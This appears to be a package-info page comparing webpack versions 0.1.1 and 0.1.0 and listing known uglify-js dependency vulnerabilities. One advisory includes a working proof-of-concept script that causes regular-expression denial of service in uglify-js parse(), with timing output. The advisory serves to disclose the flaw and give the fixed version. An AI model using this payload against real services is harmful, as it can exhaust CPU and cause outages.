Webpack version 0.1.1 represents a minor iteration over its predecessor, version 0.1.0, both designed to tackle the challenges of managing JavaScript modules in browser environments. Both versions share a core functionality: packing CommonJS modules, enabling developers to split codebases into manageable bundles that load on demand, significantly improving initial page load times and overall application performance. Dependencies remain consistent between the two versions, relying on esprima for JavaScript parsing, optimist for command-line argument parsing, and uglify-js for code minification. The development dependencies also remain identical, using vows for testing.
The key distinction lies in the release date, with version 0.1.1 being published shortly after 0.1.0. This suggests the updated version likely includes bug fixes or small enhancements discovered immediately after the initial release. For developers, while the functional core remains the same, upgrading to 0.1.1 is recommended to leverage these potential improvements, ensuring a smoother and potentially more stable development experience. The author remains Tobias Koppers for both versions of the library. Both versions were released on the same day. The small time difference between one version release and the other may suggest that the author found immediatly after the release some minor bugs that needed to be fixed.
All the vulnerabilities related to the version 0.1.1 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.